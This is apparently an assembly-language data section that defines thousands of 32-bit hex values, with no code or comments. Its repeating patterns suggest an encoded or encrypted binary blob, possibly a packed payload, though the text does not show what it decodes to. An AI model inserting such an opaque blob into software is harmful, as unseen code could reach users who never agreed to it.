		dd 59BE3256h, 0EAB1325Bh, 75B13ABFh, 0B5DB6456h, 50184820h
		dd 0CEB13240h, 0FE96200h, 0CA778559h, 2CD13256h, 0EAB139BEh
		dd 9D5B0256h, 25EDAA51h, 28E07675h, 0AEB13EBEh,	0A1F76356h
		dd 97A43897h, 0A5281F00h, 8BEB68E8h, 0F3BE3256h, 0BAB13257h
		dd 52B132AEh, 0AEB123DAh, 57BDDB56h, 1A323256h,	454FFA81h
		dd 10B628AFh, 75B1C3C9h, 0BAA4B759h, 0DD13256h,	0AEBDDB09h
		dd 3FA33256h, 103BDC5Ah, 0F65C64AAh, 0E5D049C4h, 75B133D9h
		dd 0BAB1CA56h, 5DB13CBFh, 0F2603956h, 69B400D0h, 50D04ECBh
		dd 0D538EF9Ch, 0EAB1CE56h, 9CB132AEh, 0BAB13259h, 0BFD30489h
		dd 0DF191EF3h, 0EB6F6233h, 0AB5403D6h, 0D5A2DB56h, 0ABE33256h
		dd 77CC826Bh, 83F8F7EBh, 0D851A179h, 0A9011583h, 58B132C6h
		dd 0ABB13AD0h, 0D7363D56h, 8AB13256h, 9CB13237h, 0BAB13242h
		dd 5DFDFBA9h, 9F125E88h, 0DE6BCFD0h, 57FFAAEFh,	0F6D3632Dh
		dd 0EABCBA59h, 13D13256h, 0FF7BDAD7h, 0A85DF9D7h, 0AED058B4h
		dd 5B373D56h, 0A4B13256h, 0D5B134DAh, 0EA3C3D56h, 75B13256h
		dd 0BAB1C756h, 3C41B836h, 0A6583256h, 47B13256h, 0DC2B42A3h
		dd 0D5BCAAD8h, 0E43D3D56h, 15B13256h, 0B665E8D7h, 0D5BE0A92h
		dd 0AEB13256h, 37B13237h, 180F5404h, 0B44969B2h, 0E5583256h
		dd 9B13256h, 9522DE32h,	6AD5571Bh, 0BD325B15h, 57B179F0h
		dd 52B132AEh, 0DC583256h, 0ACB13256h, 85F174D5h, 0F2B00C77h
		dd 5DB6BC59h, 10D13256h, 4E1A3D0h, 42B13237h, 0D5B1325Ch
		dd 398094FFh, 0C21649ECh, 0BAB1F3ABh, 5DB121BFh, 0CAAFCD56h
		dd 0DE4C320h, 0FA39914h, 380F26DBh, 0A00704ADh,	75B126BFh
		dd 1ED94856h, 0D965A235h, 3974991Dh, 0F8274BC1h, 0DECF2B1h
		dd 0B5B1323Bh, 0EAB135BFh, 0CE70256h, 0A229A151h, 3C39D9D6h
		dd 0CE483256h, 6B05D0E7h, 5EB13237h, 0B5493256h, 58B68136h
		dd 0FBBE537Eh, 0BAB13253h, 51A1EFEEh, 0AEB1537Ah, 57A7BB59h
		dd 42D13256h, 0D5B1325Ah, 0DDD85D76h, 0E77756F8h, 0A5ACB8B6h
		dd 3C7AB930h, 0A14D3256h, 57B13AD8h, 0A9373D56h, 0B5B13256h
		dd 0E5B13237h, 75B131D8h, 0DB495256h, 57583256h, 0CCB13256h
		dd 3B84A419h, 880CDA96h, 0DAB132F4h, 0EAB135DEh, 74343D56h
		dd 43B13256h, 0DBBE3256h, 0AEB13257h, 37B132AEh, 42B13237h
		dd 0D5B1325Fh, 7B481B27h, 874ADBAFh, 31D752E8h,	833A5499h
		dd 57B13237h, 5C583256h, 0E4B13256h, 0BACA70DCh, 92EDD18Ch
		dd 75B1B31Ah, 0BAB139BFh, 6C624456h, 0E08CAD80h, 52189019h
		dd 0AB4D3256h, 55BE5256h, 0EAB13255h, 9C608D59h, 0BAB13247h
		dd 4523DCB2h, 8C26C899h, 42CC6744h, 0E0961403h,	0D5B1537Ah
		dd 0E5B132AEh, 75B139D2h, 0BAB7DB56h, 7CE3256h,	4D50C032h
		dd 0D5BE3256h, 0ABB13251h, 0D5B0BE59h, 0EA493256h, 74303D56h
		dd 42B13256h, 0D5BE3256h, 0AEB13251h, 31D05236h, 0ABD0F1DDh
		dd 0D5A3DB56h, 0CC243256h, 0FFE633B1h, 3424672Ch, 9C6A3B98h
		dd 7B2D0F63h, 555FB336h, 2AE868FEh, 65822481h, 0EAB15372h
		dd 75A7B859h, 0AB583256h, 0D6B13256h, 0FC21C39Dh, 23713A25h
		dd 66DF05FFh, 4A07189h,	6BBE3256h, 75B1325Ah, 0BAB7B859h
		dd 0D4BE3256h, 0AEB13256h, 58583256h, 4B13256h,	5D0F3BFDh
		dd 1F5FA322h, 18F41138h, 0BAB1F8C9h, 5DA3DB36h,	0BBA43256h
		dd 120F0E6Bh, 662298CCh, 98B83AE4h, 0A371A159h,	75BEDB37h
		dd 0E8D53256h, 36C890A9h, 153A7E2Ch, 0E5DB4949h, 42B13279h
		dd 0D5B13259h, 19CEB25Ch, 1B72603h, 7EC53F11h, 5DE54C54h
		dd 0BA383D56h, 58B13256h, 0ABB13CDBh, 0D5B8DB56h, 0FEAB3256h
		dd 4B9B8CBh, 0BA680793h, 51373D56h, 0A1B13256h,	57B134D9h
		dd 0AB353D56h, 0D5B13256h, 0E2595256h, 64B13256h, 0C2915887h
		dd 52B5F906h, 0AEB132DAh, 0A2D06B56h, 0CDD13256h, 0DACC02EEh
		dd 0EAB137D3h, 85305456h, 0BAD0F60Dh, 5C383D56h, 57B13256h
		dd 0ABB132AEh, 22BE3256h, 0D5B13257h, 0E5B132AEh, 75B135D5h
		dd 0DBE5256h, 3CD052AFh, 474D3256h, 57B13244h, 0FFF9149Ah
		dd 0EE7B9374h, 0C43A8359h, 3392F317h, 0BAB10CB6h, 5DB9B159h
		dd 20BE3256h, 57B13254h, 0ABB15336h, 0D5B13EBFh, 0A455DE56h
		dd 4E478286h, 0ECD9DE3Dh, 5DB1CAB7h, 0AEB0B559h, 58443256h
		dd 0ABB135D3h, 0D4303D56h, 12B13256h, 0F2BE3256h, 0BAB13257h
		dd 0D9BE52AFh, 0AEB13250h, 57B1B159h, 2AD73256h, 0B49493A5h
		dd 0FE583256h, 43B13256h, 0E603B4h, 0C600CDA1h,	8E46C797h
		dd 8A98CFD9h, 0AB510D70h, 0D4303D56h, 16B13256h, 0FFBE3256h
		dd 0BAB13258h, 5DB13BBFh, 502E7356h, 0BFF6DBEBh, 0ABB130ECh
		dd 0D5B137BFh, 9CF59056h, 7E584AC7h, 0F7B13256h, 0AA7133D0h
		dd 39881353h, 57B18DCDh, 0ABB0B659h, 0D5483256h, 0ED3A3D56h
		dd 7AB13256h, 0BAB133D7h, 5DB1CA56h, 0AEB121BFh, 73477156h
		dd 717D8320h, 0B76FEC34h, 5DD79EACh, 2DAE10A4h,	34BE3256h
		dd 5DB13257h, 0A1B132AAh, 57B133D6h, 0ABB1CE56h, 0D5B13EBFh
		dd 0D2D88456h, 0D7E28A2Eh, 0C6390413h, 52B13274h, 0AEB135DFh
		dd 8A045256h, 0CAA3FAD6h, 3CB132AFh, 0EAB13246h, 589FCDB8h
		dd 74D20837h, 6C862012h, 6988C3C4h, 57443256h, 0AB48CA56h
		dd 0D5B6DB56h, 91C83256h, 0B1FCEE6Ah, 0BAB4DB53h, 0BFA73256h
		dd 0AE841907h, 50383D56h, 0A4B13256h, 0D5B133DFh, 0EAB1CB56h
		dd 7E44B236h, 0BAB137BEh, 0BB299356h, 0F54D2E8Fh, 57BADB37h
		dd 9FEF3256h, 0FF6F24B2h, 90661136h, 8CB13246h,	3EBE3256h
		dd 5DB13257h, 0A1B132AFh, 57B13DD5h, 0AE595256h, 33B13256h
		dd 708617A7h, 14D0520Fh, 3BD13256h, 55DC45BEh, 0AEA3DA37h
		dd 1F033256h, 5B1A8AF6h, 8B0BBE34h, 0F0E40306h,	0FAC7B8FDh
		dd 0B5D06AAFh, 5DB13EDBh, 41305256h, 3DEF86BDh,	80D98B30h
		dd 0DAB13237h, 0EAB135D7h, 74333D56h, 46B13256h, 5DB13BBFh
		dd 27695056h, 652ED799h, 0ABB1DD52h, 0D5B6B759h, 6ABE3256h
		dd 75B13257h, 583152AEh, 0A6063DD5h, 0A1B13237h, 57B13ED6h
		dd 0ABB6DB56h, 0B52D3256h, 887F2B33h, 7D3D3D5Ch, 0B5B13256h
		dd 5DB130D9h, 0AED05256h, 9C3B5256h, 0ABA9BA59h, 0C6583256h
		dd 0A0B13256h, 0F4DD1602h, 7AC3A0EEh, 6539A068h, 0EF6998C7h
		dd 57D0359Dh, 0ABBADB56h, 5FC63256h, 99B6ABCCh,	0AC6C28F9h
		dd 3BD7524Fh, 5213D6BFh, 0AED0F8E9h, 57B8DB56h,	87A03256h
		dd 7E67D722h, 0EA981F70h
		dd 7D343D56h, 0B5B13256h, 5DB130D4h, 0AED05256h, 0A63B5256h
		dd 0CA1FDDD6h, 0D8583256h, 0A0B13256h, 4C636AB8h, 270751F4h
		dd 112BDD32h, 26BE3256h, 57B13257h, 0CBB132A3h,	0D5B2BF59h
		dd 55BE3256h, 6092888Eh, 0BAD01F8Dh, 5DB1CB56h,	0AEB121BFh
		dd 9D9D6D56h, 81CE538Eh, 0C693AC21h, 0C6BA6CA1h, 20EA5E80h
		dd 3EBE3256h, 5DB13243h, 0AEB122BFh, 0D6A20656h, 6F2F7343h
		dd 0A3FFA0CAh, 15F6B4FDh, 9CB13217h, 0BAB1325Ch, 9FD2BC06h
		dd 6A88EE3Eh, 0D6BE60E7h, 0ABB13257h, 0B5B132AFh, 0B4EB6304h
		dd 75B5BD59h, 5D73256h,	5DD052C4h, 0AEB4DB56h, 0A50D3256h
		dd 0ABD033DFh, 0D5B1CB56h, 0E9373D36h, 7AB13256h, 3BD7E9E1h
		dd 3CAD61B9h, 0AE443256h, 57B4DB56h, 818E3256h,	0D51AB4E1h
		dd 0FC353D56h, 9CB13256h, 0BAB13247h, 97802D87h, 0AB0968FDh
		dd 13DF8E1Ah, 0A1A5CBE4h, 3CB1329Ch, 0EAB13244h, 0EAB9FA67h
		dd 4342D169h, 28AC83Dh,	7E5BFA85h, 57B1FD4Ah, 0A4B132A3h
		dd 0D5B139D4h, 66BE5256h, 75B13256h, 0DBC1C2D6h, 5D493256h
		dd 0CE44CE56h, 57B13CBFh, 0B2652156h, 0DA518F69h, 0AF6803DAh
		dd 9D36E26Dh, 0BAB13256h, 7B5BB30Ch, 47B727FFh,	57B13251h
		dd 0DADDC6B2h, 29518B57h, 0EABFDB36h, 0D1253256h, 4A29C9C9h
		dd 0A13C4EBFh, 9E392876h, 1CFAF2D7h, 26D0215Fh,	0C1229BD3h
		dd 0EAA5DB50h, 58D23256h, 0B5AD2252h, 4305DDEh,	0F542D7EDh
		dd 14998294h, 2938E53Eh, 0D3A4A39Bh, 2733BFAAh,	15B724DEh
		dd 0BAB121BFh, 0A0DB9E56h, 7D148180h, 4CDADAF8h, 3DF06FABh
		dd 2E195451h, 0CAF48C30h, 8333BB37h, 0B5B727C7h, 5DB121D3h
		dd 0AEBFDB56h, 69D03256h, 0FB6D4317h, 0A52DF099h, 0C2D92C8Dh
		dd 7585F9BEh, 0AD353D56h, 0B4B13256h, 0AEB13244h, 0B5428417h
		dd 9D3EA11Ah, 9A146584h, 1E17C045h, 7F59A5A0h, 0DAB13254h
		dd 0EAF9F9D6h, 2C76532Ah, 51A4A33Dh, 0ABB13256h, 0D5B135BFh
		dd 11B89C56h, 907D1884h, 3F77CB04h, 5BBE16ABh, 0FCD9CE00h
		dd 0AF2D9AEEh, 0A04CDA3h, 2DB73D7Ah, 9856B7DBh,	0FEBE3444h
		dd 0BAB13251h, 5DB0BF59h, 514D3256h, 57B6DB86h,	895B3256h
		dd 576B5E31h, 4734BBC4h, 8CB73D45h, 0DCD1363Ch,	5058E2DDh
		dd 92B13256h, 24DE788Dh, 7E2E0CA1h, 4A4E177Fh, 0FAB15A37h
		dd 0CFD13256h, 8AA3FAFAh, 5DB135BFh, 54B17A56h,	4E01EB94h
		dd 0A6F15A37h, 0DD583255h, 0ABB13256h, 50848BCAh, 0D05490E5h
		dd 5DBFDB56h, 95DC3256h, 0DEFB972Eh, 0CABBA71Fh, 5743656Fh
		dd 0B044E2A9h, 763B3D36h, 0B5B13256h, 0E6D7C5E1h, 0A5D049F1h
		dd 5D353D96h, 0A4B13257h, 0D5B13FDEh, 0EAB9DB56h, 5BB53256h
		dd 0B7AD5C72h, 0DF383C3Dh, 0A8A4A33Dh, 57B13EBFh, 8E6E6D56h
		dd 0B4FB3F43h, 3995ABAFh, 0FC33BB69h, 0B5B727C7h, 5DB123DEh
		dd 77315256h, 57B6DB0Fh, 0A4343256h, 0AC185C0Dh, 0AA0853B6h
		dd 7AB1315Bh, 0BAB125D8h, 5DA3DB56h, 0E9453256h, 822A17DBh
		dd 9956F3CBh, 9988A6EAh, 0E1B9C646h, 75B0BE59h,	31443256h
		dd 513C3DAEh, 0A1B13256h, 57B134DFh, 0AB3E3D56h, 0E6B13256h
		dd 68BEC796h, 75B13251h, 2570B236h, 0AED05336h,	47E3CBFCh
		dd 57B1325Fh, 29121598h, 73E67F17h, 8AB55851h, 7058E1DDh
		dd 27B13256h, 0B7A3DBB8h, 0BEB15A37h, 3F443256h, 0ABB13656h
		dd 0DAB158AEh, 0EAB138D6h, 910B5256h, 0DCB645EEh, 0A2D0F4DDh
		dd 0A1A29FC4h, 0BEEBCB50h, 0ABB13246h, 0CF15C3E1h, 2E2A9C12h
		dd 7A9F036Dh, 8AB16C3Ch, 5F373D36h, 24B13256h, 540F54A6h
		dd 293853C0h, 0D3A4A6F7h, 3B0E3D36h, 0F9BE5337h, 0BAB13257h
		dd 3634B9AFh, 0A1B727C7h, 57B133DFh, 0CB72CA56h, 0D5B13EBEh
		dd 0F122CA56h, 0A1E76713h, 1628C3A4h, 3BEFCED9h, 0A734D8D7h
		dd 904D5237h, 0A496FBD4h, 95B13250h, 0FA595256h, 0BBB13256h
		dd 7653413Ah, 0BA16998Bh, 15E5ED1Eh, 0DA0D000h,	0ABB13ABFh
		dd 0BE043756h, 6A41CBC0h, 0F77653B3h, 0BCBE0283h, 5DB12256h
		dd 2ABE53A3h, 57B13240h, 0ABB123BFh, 0C0FFD156h, 3288FA4Eh
		dd 54679930h, 156B4132h, 52720D8Dh, 0AEB133D7h,	37D1CE56h
		dd 0ABA9B559h, 0C6583256h, 2AB13256h, 31454E6Ch, 91741506h
		dd 4E3EA4CFh, 2885E264h, 0DB0E768Ch, 0CA9AFD28h, 44DA88DDh
		dd 13D13443h, 758EB137h, 0BA16B659h, 0DE483256h, 0A1B32229h
		dd 57B109D2h, 0ABBADB56h, 0DC8D3256h, 0E2F537Fh, 2BCD76F6h
		dd 0AACEB1B4h, 0F353D52h, 57B13256h, 58A5F5D5h,	0ABB123DBh
		dd 0D5BDDB56h, 0D8B53256h, 0E87E83DDh, 0FC674455h, 0EF5828ABh
		dd 5B4ECDA9h, 56A17591h, 42B13256h, 0D5B13259h,	2AEA6B37h
		dd 41269E97h, 0FCD0F3D9h, 521C7450h, 0AEB138D0h, 0DEBE5256h
		dd 0ABB13256h, 3CD05336h, 154ECDE6h, 65F6F5A3h,	0BAB13255h
		dd 88315236h, 0AEA0DBD4h, 0F3273256h, 36102D17h, 706441E3h
		dd 234ECD13h, 146F321Ah, 4537DB37h, 0D1BECDA9h,	0AEB13257h
		dd 944453AAh, 0ABB6BE59h, 53BE3256h, 0EAB13257h, 0CCD167A3h
		dd 0BA9697B6h, 3C96EFD6h, 0CE4DDEDDh, 57B126BFh, 77FF0A56h
		dd 0F1C76371h, 1CDE75A0h, 5AF199FEh, 11FCDF66h,	5DB1DAA1h
		dd 2FEB3256h, 421C5EBCh, 0AA363D50h, 2DB13256h,	0E54D52AAh
		dd 0FED0C0E9h, 0AF2595E4h, 4F3B3D50h, 47B13256h, 57B1325Bh
		dd 848EC942h, 3C180C2Fh, 0AF4034DDh, 7DF4B995h,	0DAB7BBAEh
		dd 5DB120BFh, 5399B856h, 0A5FC584Ah, 0D1D0846h,	0C26F7F48h
		dd 53A7818Fh, 29AAE70Ah, 1D33B137h, 59B727C2h, 44305436h
		dd 0DD09C5E5h, 0CA8120BBh, 3C78CA37h, 0EAB13247h, 994B90D0h
		dd 0C44D919Fh, 8A1ADFF8h, 9D4FC84h, 423F3D27h, 0A4B13256h
		dd 0D5B13DD1h, 0EABBDB56h, 9D43256h, 0A99D443Fh, 4C3670Fh
		dd 47B13694h, 57B13251h, 542AE5DCh, 0B5FD4623h,	0EAB122BFh
		dd 97614256h, 0B7CCCFADh, 0AF9DDF4h, 2B56E86Dh,	57B1DAD4h
		dd 2AEB3256h, 0C01F06BCh, 0EAB4DB50h, 25B63256h, 0B5FE0056h
		dd 5DB133DDh, 1C3ACE56h, 51A4A6F7h, 0C0309AAh, 0DAB727C2h
		dd 0EAB074D2h, 75B9DB56h, 634F3256h, 94079512h,	903A06D3h
		dd 0A85A8D36h, 743A44C5h, 3C6EB937h, 0EAB1325Bh, 19A07635h
		dd 7AC02F8Ah, 0E9859CD1h, 18BECBD3h, 58D13319h,	42D0FAE9h
		dd 0D5B1325Dh, 8EB5C341h, 0F9F2DEA2h, 4C39DA53h, 52313311h
		dd 0AEB12CD3h, 0D6D75256h, 5334168Eh, 20683137h, 0EA92DBAFh
		dd 7D583256h, 0FFB13256h, 0E8F143CBh, 8548866Eh, 59393D8Fh
		dd 0CBB13256h, 57DC4D7h, 61BE3131h, 75B13256h, 0F9497137h
		dd 5DB0BC59h, 254D3256h, 58AF67D3h, 0ABBCDB50h,	618B3256h
		dd 0BD121825h, 1F67307Ah, 316A95D9h, 529797DBh,	0AEB6DB50h
		dd 5A3F3256h, 198251E3h, 0DA690928h, 0EAB10DD4h, 75BDDB56h
		dd 9E763256h, 9582F367h, 79D16C1Ch, 8E8A51E7h, 0AB97B559h
		dd 0B3D13256h, 5EAED0D7h, 75B137BFh, 0BDC86456h, 0DED0AAC5h
		dd 47493690h, 0A84ECD57h, 5C305436h, 109FFB8h, 8BB52C69h
		dd 0F1BEFD6Dh, 0BAB13269h, 5DBAB759h, 0C8D13256h, 1605FCD7h
		dd 0FED18A30h, 0D4333D37h, 13B13256h, 53148FDFh, 0DA4D3459h
		dd 0B6085407h, 25D76916h, 0E058539Dh, 0A44ECDA8h, 0D5B138DCh
		dd 2C025256h, 5514D8D7h, 0DBD03B20h, 5DA8B059h,	0BA583256h
		dd 36B13256h, 4823E972h, 0CC9D1642h, 9626F671h,	0FBAD73F5h
		dd 0DA831021h, 0D507E0D7h, 2FBE0C31h, 57B13256h, 0F9D1F137h
		dd 2947B330h, 8B4D69BAh
		dd 0FFBE52AFh, 0BAB1325Eh, 196F8936h, 0CF4D474Eh, 57B132BEh
		dd 41306856h, 0D3A49DA5h, 503AC7AEh, 73A4A6F7h,	0BA08C7AAh
		dd 52B13257h, 0AEB135D6h, 56333D56h, 52B13256h,	0B5D1F265h
		dd 0EAB13EBFh, 75939F56h, 9ADC682h, 4921115Dh, 0AEA2DB85h
		dd 60083256h, 491C0528h, 60B377A0h, 6029F754h, 907936F3h
		dd 49D053B4h, 5DBADBFDh, 2AF83256h, 17E89678h, 0CBCBF55Bh
		dd 7433B945h, 12B727C2h, 0E116B0DFh, 0B5483443h, 5DB133DFh
		dd 0A1D0CB56h, 57B133D1h, 19D1CE56h, 3C725330h,	0EAB13242h
		dd 0C715BB79h, 6DF95DCFh, 15FEE69Fh, 0B235F561h, 13DA4175h
		dd 0ABB6DB36h, 0F7043256h, 0A644A6AEh, 75B1DADAh, 3BEB3256h
		dd 480196BCh, 0A9585250h, 87B13256h, 673463E2h,	0B5E77A18h
		dd 3D06C37h, 75B13247h,	3F1D5DEBh, 5FDEC16Fh, 83AA8911h
		dd 37217DDAh, 613A529Fh, 13D070E2h, 0E595CFD3h,	79586450h
		dd 2CB13256h, 0BBF11E0Bh, 0BB576EE7h, 58438996h, 0ABB133DDh
		dd 0ECD9C756h, 3652D3Bh, 75B13242h, 6A5BFA85h, 0BC6FFD4Ah
		dd 57AB21C1h, 0DEC0363Ah, 0CF76E550h, 0F91087A9h, 674D3459h
		dd 67C3D5D3h, 31D75250h, 3C238791h, 21BEE2A9h, 57B13257h
		dd 0FB4D60AEh, 0D5A5BF59h, 0E5583256h, 0A4B13256h, 0B202F9ABh
		dd 0D309BFD6h, 8D14B16Dh, 57D9951Ch, 0CBB132D6h, 0D5A4B859h
		dd 0FA583256h, 43B13256h, 2A957A40h, 0F7CB03F9h, 0FCD8F225h
		dd 36977DA4h, 42D1323Ch, 0D5B13258h, 0EF1A394Dh, 3128EB0Bh
		dd 155E6DB1h, 3C489DF0h, 3FDA80A9h, 0D6BE3443h,	0ABB1324Fh
		dd 0D5B126BFh, 30AF0F56h, 0D7CE9BBAh, 82D396AFh, 631B75DDh
		dd 0E41A6882h, 3761CD89h, 283E8836h, 0DD595553h, 17B13256h
		dd 12ACC03h, 0E422864Ch, 0E4D75237h, 2FD749CEh,	36767C81h
		dd 2EBE6A37h, 0D5B13257h, 69BE68A3h, 75B13257h,	3AB15AAEh
		dd 374D3256h, 0AEB8DB56h, 79CC3256h, 0F00AB595h, 2A71B4DCh
		dd 0FF2593E4h, 0A54ECB50h, 0B5D153AAh, 0E3D1EDE1h, 0DD3219D8h
		dd 36608559h, 0A4D1F137h, 5ED7EDE1h, 3E453ADh, 75B1325Dh
		dd 80E68355h, 2D9299EFh, 2553558Eh, 58D1CEBAh, 0ABB13ADEh
		dd 0D73C3D56h, 8AB13256h, 75B1DA37h, 3BEB3256h,	480376BCh
		dd 0AEBFDB50h, 0CC263256h, 462A6FE9h, 0BF75AE00h, 0C0AE16F3h
		dd 7DC4B9AAh, 0BC393D36h, 52B13256h, 0AEB132D3h, 0ABD0C756h
		dd 0ABBE6BBEh, 0DC585256h, 76B13256h, 0A75FDB4h, 346A7241h
		dd 5DB134BFh, 2C6AC656h, 367D2A1Fh, 14BE5203h, 27063D9Fh
		dd 0EAB9DB37h, 0EF5A3256h, 0E4426046h, 0CF4E1C79h, 0A8A4A39Bh
		dd 51383D36h, 2AB13256h, 0CA3DA394h, 0EAB8DB09h, 4F853256h
		dd 0CD34B82Eh, 3C5E19B5h, 0AEBCDB0Bh, 247F3256h, 30BC7EF2h
		dd 187BB92Bh, 30A9455h,	75B13251h, 241F34Ah, 66024CCDh
		dd 2BBE3E23h, 0A84ECDD6h, 0F778B336h, 82AFDF86h, 0EAB1BC59h
		dd 14EA3256h, 0BABFFBBEh, 5DBBDB56h, 0B4783256h, 181B3C21h
		dd 4C3CFB18h, 0D5BFDB37h, 8B6A3256h, 76D0464Eh,	0C5EDCACCh
		dd 0B799E3E9h, 683A529Fh, 57B138BEh, 0F55A8556h, 27AC3D81h
		dd 0E55EDE16h, 14E8C8E9h, 0BAB121BFh, 0D9060A56h, 64F8A6DAh
		dd 4443785h, 3E36BFBFh,	0EA4A266Eh, 0E5B13A94h,	75B133DBh
		dd 0B5E4CA56h, 5DB13FD9h, 2FD75256h, 58B78498h,	0ABB132D9h
		dd 393A5356h, 29063D36h, 9B1F08ECh, 7E32533Eh, 5DB4DBAAh
		dd 0ED8D3256h, 102EA0Ah, 43D165AAh, 0D5B1325Ah,	953BF860h
		dd 667501CBh, 6822F347h, 0EE47B330h, 0DB0B6A12h, 36D19EDDh
		dd 0AB59CB05h, 8FB13256h, 5908D8D7h, 0F5BE3443h, 0BAB13251h
		dd 843A5436h, 47D05336h, 57B13258h, 0CABBA71Fh,	5743656Fh
		dd 0E86A46ECh, 3A1D2Dh,	0BF58525Eh, 89B13256h, 0B8DED542h
		dd 57B123BFh, 7969E756h, 331C61EFh, 9E7F6152h, 3BBAE259h
		dd 31D0BC1Bh, 0E3D1222Bh, 0D16B2C67h, 45586537h, 6EB13256h
		dd 0AE4634FFh, 0F7ACA294h, 0AF29C71Eh, 9BD7CC70h, 0B5446402h
		dd 0AEB133DEh, 3179B936h, 0CAD567EFh, 51BEF25Dh, 0EAB13284h
		dd 773C3D36h, 31B13256h, 953A5498h, 2FD75237h, 0BE1B609Ch
		dd 0ABB13259h, 27E60B37h, 31C588D4h, 309E4954h,	0DBCE0267h
		dd 5058CADDh, 77B13256h, 0AF5A3B68h, 0DAC4D8F1h, 88C8EEFEh
		dd 784ECA03h, 73A4A39Bh, 0BAB0BE59h, 483256h, 0AEB137BFh
		dd 0D5240356h, 0DE8AA3E5h, 0A6353D5Ah, 3B13256h, 75B13246h
		dd 0A6737DB8h, 0DF4D1517h, 69560E02h, 0B44DA422h, 42AFB930h
		dd 0D5B13253h, 0D5F2FFDCh, 8556B271h, 0BAB13FBFh, 0F506DE56h
		dd 0F751B84h, 0B6AC7EC2h, 0B53B0042h, 2552B2AAh, 0CC8DDAAAh
		dd 7F583256h, 0B2B13256h, 5BC31B4h, 25C8B07Dh, 0A8AADBA0h
		dd 24BECDA9h, 0D5B13251h, 0EAB0BA59h, 7A4D3256h, 0BAB13BD2h
		dd 0CE085256h, 19F1933Eh, 2A3853D6h, 0ABA0DBAAh, 34873256h
		dd 7DBB49A9h, 68B62124h, 0B0063C2Ch, 0B504DBDDh, 514EC574h
		dd 0A73A5436h, 0CA778D59h, 0D5B7DB0Dh, 577E3256h, 92A26026h
		dd 0BAB13EBFh, 0C978A556h, 0C53F5A82h, 9A7DC007h, 0F5446DB3h
		dd 29F4B9AEh, 0EABBDA36h, 24493256h, 0CDFBE197h, 9B275CE8h
		dd 8E57FDEEh, 88306A3Ah, 0A8B85A9Ah, 0C13C3D37h, 8AB13256h
		dd 75B139BFh, 3705AE56h, 0A06984F2h, 968F949Ah,	9ED05336h
		dd 0ABB137BFh, 0CE1FF656h, 0E6735BC0h, 75A3DB56h, 0F66D3256h
		dd 8120213h, 7627CA52h,	0F6DC2D8Bh, 1EFCCD35h, 6ABE5203h
		dd 0EA333DAFh, 14B13256h, 0BC58DEDDh, 40B13256h, 91D25302h
		dd 0AF75B151h, 0ABB7B959h, 0B5D13256h, 8B70B937h, 75BBDB01h
		dd 0BA8A3256h, 0CACC3D61h, 299F4BE9h, 3170B836h, 0FDD0CCDDh
		dd 0A80F5236h, 8BFA406Eh, 9CE053AFh, 0BAB13246h, 0E324B7F6h
		dd 0A1382A2Ah, 65C28EC9h, 0BA23A326h, 0D5B7DB05h, 26343256h
		dd 767D7A18h, 0BA497791h, 52B13256h, 0AEB13FD7h, 0D6D75256h
		dd 0A4F4FE98h, 0D5B132D5h, 68765356h, 73A4A181h, 0BAB13257h
		dd 5DA2DB36h, 0B9503256h, 0A266A694h, 5E871AFBh, 68B13390h
		dd 0D0FC901Dh, 3A5391h,	0BB383D5Eh, 0A5B13256h,	56AFB930h
		dd 0C6DA88DDh, 20443443h, 0C5583A09h, 91B13256h, 65F4DEA0h
		dd 0B1D70AC1h, 0E2181E42h, 0A55B8C0Dh, 0D5353D8Dh, 57B13256h
		dd 0D3363D36h, 0E5B13256h, 75B132DDh, 648A5356h, 5D8EB759h
		dd 23BE3256h, 57B13259h, 4259B836h, 0D5B13250h,	5C5BCC94h
		dd 0FED0B480h, 3EBE3E0Bh, 5DB1325Dh, 446CB236h,	57B1BD59h
		dd 22D03256h, 5EBE3E09h, 0EAB1325Bh, 0BA305436h, 3FBE1FEEh
		dd 5DB13256h, 0BA76B137h, 0A830DBAEh, 26BECDA9h, 0D5B1324Bh
		dd 0EAA6B459h, 67583256h, 81B13256h, 2DE1A5AEh,	0F7540B39h
		dd 1E4DB671h, 5361F494h, 0CB3A5404h, 6AD0CB36h,	0F1BEDAADh
		dd 0BAB13193h, 0A631CBA3h, 14353DBFh, 37B13255h, 0ABB5B659h
		dd 6AD73256h, 6BBE779Bh, 75B13243h, 0BAB122BFh,	425DA256h
		dd 3B61EBF4h, 0D540BF8Dh, 22DAB421h, 2E31531Eh,	60353DBDh
		dd 15B13255h, 0BAB13FBFh, 0C9022556h, 0D227C650h, 23B1B0E6h
		dd 0CA4DAC3Fh, 0DA53C9D6h, 0EAB262D2h, 0FED75256h, 3AD0CB9Dh
		dd 0D9BED1ADh, 0AEB1317Ah, 57B6B759h, 2DBE3256h, 0D5B13257h
		dd 0E5333DAFh, 9CB13256h, 0BAB1325Ch, 0F4227442h, 7DBBDD82h
		dd 0D6D76F13h, 0A45255ADh, 0D5B226D2h, 0EABFDB56h, 0B44B3256h
		dd 0EF585970h, 213FC1D4h, 11D55F9Eh, 0A756B2AAh, 0ABB0BF59h
		dd 0B34D3256h, 6ABEC9D7h
		dd 76B6B659h, 36BE3256h, 5DB13259h, 0AEB138BFh,	0A640E856h
		dd 2F222188h, 553DF98Eh, 6A49C2B5h, 0F1BE42ADh,	0BAB130B3h
		dd 4D59C736h, 0D7B13256h, 0DFDC96A4h, 0D262CC0Bh, 71682C0Ch
		dd 1F3F3714h, 7058530Ch, 0CFB13256h, 0D494F959h, 52AFB930h
		dd 0AE49D1D6h, 0A409C9D6h, 0D5B0BFD2h, 0E058CE56h, 0C2B13256h
		dd 0FFFE558Dh, 971E5147h, 0AB8FB20Fh, 56C5B659h, 0AE583256h
		dd 96B13256h, 0E4108CD6h, 7A9C0CD6h, 0BAB053D2h, 9D305256h
		dd 8B796AD2h, 57B13FBFh, 0A90EA856h, 93943421h,	3A45CA54h
		dd 0F5D0C670h, 3EBE5A68h, 5DB13368h, 0AEB139BFh, 0B38C3F56h
		dd 36D8272Fh, 19C41DBh,	7966B0A9h, 0FED13443h, 0BABCDAAFh
		dd 0FE53256h, 1C42B419h, 0A52A1E68h, 1CE6D348h,	0B3D06B45h
		dd 0F9582CDDh, 0CBB13256h, 77ACF2F1h, 0F223DDDAh, 7918E675h
		dd 30265E6h, 0AE587679h, 44B13256h, 0E84139F4h,	9C49D5D6h
		dd 0BAB13246h, 0EBD0E380h, 0B96C9205h, 8B706298h, 3693CA96h
		dd 544AB330h, 2D353DBEh, 8DB13256h, 0DAAFB930h,	0FE0954A3h
		dd 0AB5853BAh, 94B13256h, 0BFB22957h, 0B541D5D6h, 0EAB13BBEh
